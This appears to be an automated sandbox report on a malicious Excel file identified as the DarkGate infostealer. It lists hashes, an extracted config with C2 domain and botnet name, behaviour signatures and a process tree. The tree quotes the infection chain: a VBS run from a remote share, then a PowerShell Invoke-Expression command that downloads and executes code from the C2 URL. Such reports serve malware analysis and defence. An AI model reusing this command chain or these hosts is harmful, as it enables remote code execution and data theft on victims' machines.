Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-03-2024 07:52

General

  • Target

    re-march-26-2024-9794.xlsx

  • Size

    65KB

  • MD5

    af440ea16bf075f844e20296bba223cd

  • SHA1

    dfa83aba0e634dfc83ff1f7a8cff6f334be7ac8d

  • SHA256

    63d68e0bb8e196c50e60df65fbd50eabbc21857cb1af6d3efab22c3bf44995ff

  • SHA512

    bf05569ecbafcad7eed5624153156d117bf1a9eb6921ef54ca65a7375169d231b4f883a4243a7634d97490c4fa058ae76016e5728eb70486c2d0a3882d45723b

  • SSDEEP

    1536:VvAi3OnslDGe2eGyIvJhaaO5Ny4iUvRB75d/wSgE9pgyjxOqTU:JlOsj4yIRAzHiE/7n/tgE9pgyjxi

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

backupitfirst.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    SfUQxDje

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\re-march-26-2024-9794.xlsx"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4844
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "\\170.130.55.130\share\a\Report-26-2024.vbs"
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4340
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'backupitfirst.com/rudxfiyb')
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3788
        • C:\rqzo\AutoHotkey.exe
          "C:\rqzo\AutoHotkey.exe" C:/rqzo/script.ahk
          4⤵
          • Executes dropped EXE
          • Checks processor information in registry
          PID:4388
        • C:\Windows\system32\attrib.exe
          "C:\Windows\system32\attrib.exe" +h C:/rqzo/
          4⤵
          • Views/modifies file attributes
          PID:3576

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jkmqwgdq.4om.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\rqzo\AutoHotkey.exe

    Filesize

    892KB

    MD5

    a59a2d3e5dda7aca6ec879263aa42fd3

    SHA1

    312d496ec90eb30d5319307d47bfef602b6b8c6c

    SHA256

    897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

    SHA512

    852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

  • C:\rqzo\script.ahk

    Filesize

    56KB

    MD5

    cc881012bc30b053b9e6b763f4fff1ed

    SHA1

    ac366539edd526b083f630828090a519812f72f9

    SHA256

    08037bf46f2e4d7654b2f4d9073ed9eababb35b538927dcae5ed665ad7b4e1c6

    SHA512

    3c520d67cfc7d12f96577cf29c373ebe68dafc59f68fc5dd7d6b772944dbe40a01836f51b87c83486adb751b9b293609d768d7b151614845da13e58d9c2c647d

  • C:\rqzo\test.txt

    Filesize

    916KB

    MD5

    5c3a3407c64b7585324a29a08005a3a8

    SHA1

    956a7788aa0e397e973ab5623d4aae73b1ca2658

    SHA256

    89445e407e345c8c4a8606210787957db44c4ec1acec6a17dfe7e78203f4ca40

    SHA512

    fe13844cff959a87523246f85cf357fd1adcdcffdc8b603f28ec26f4dcb2f26b76f243a042a7c2089776a737e3f7578214709ebc97eed7849e4c56e4825cbecb

  • memory/3788-42-0x0000022AEAF20000-0x0000022AEAF42000-memory.dmp

    Filesize

    136KB

  • memory/3788-69-0x00007FFEDC0F0000-0x00007FFEDCBB1000-memory.dmp

    Filesize

    10.8MB

  • memory/3788-51-0x0000022AEB770000-0x0000022AEB932000-memory.dmp

    Filesize

    1.8MB

  • memory/3788-50-0x0000022AEAF50000-0x0000022AEAF60000-memory.dmp

    Filesize

    64KB

  • memory/3788-48-0x0000022AEAF50000-0x0000022AEAF60000-memory.dmp

    Filesize

    64KB

  • memory/3788-47-0x00007FFEDC0F0000-0x00007FFEDCBB1000-memory.dmp

    Filesize

    10.8MB

  • memory/4388-74-0x0000000003150000-0x00000000031C3000-memory.dmp

    Filesize

    460KB

  • memory/4388-72-0x0000000003150000-0x00000000031C3000-memory.dmp

    Filesize

    460KB

  • memory/4844-9-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-12-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-14-0x00007FFEC5810000-0x00007FFEC5820000-memory.dmp

    Filesize

    64KB

  • memory/4844-16-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-17-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-15-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-18-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-19-0x00007FFEC5810000-0x00007FFEC5820000-memory.dmp

    Filesize

    64KB

  • memory/4844-32-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-33-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-34-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-35-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-36-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-13-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-11-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-10-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-49-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-0-0x00007FFEC7950000-0x00007FFEC7960000-memory.dmp

    Filesize

    64KB

  • memory/4844-6-0x00007FFEC7950000-0x00007FFEC7960000-memory.dmp

    Filesize

    64KB

  • memory/4844-8-0x00007FFEC7950000-0x00007FFEC7960000-memory.dmp

    Filesize

    64KB

  • memory/4844-7-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-2-0x00007FFEC7950000-0x00007FFEC7960000-memory.dmp

    Filesize

    64KB

  • memory/4844-5-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-4-0x00007FFEC7950000-0x00007FFEC7960000-memory.dmp

    Filesize

    64KB

  • memory/4844-3-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4844-1-0x00007FFF078D0000-0x00007FFF07AC5000-memory.dmp

    Filesize

    2.0MB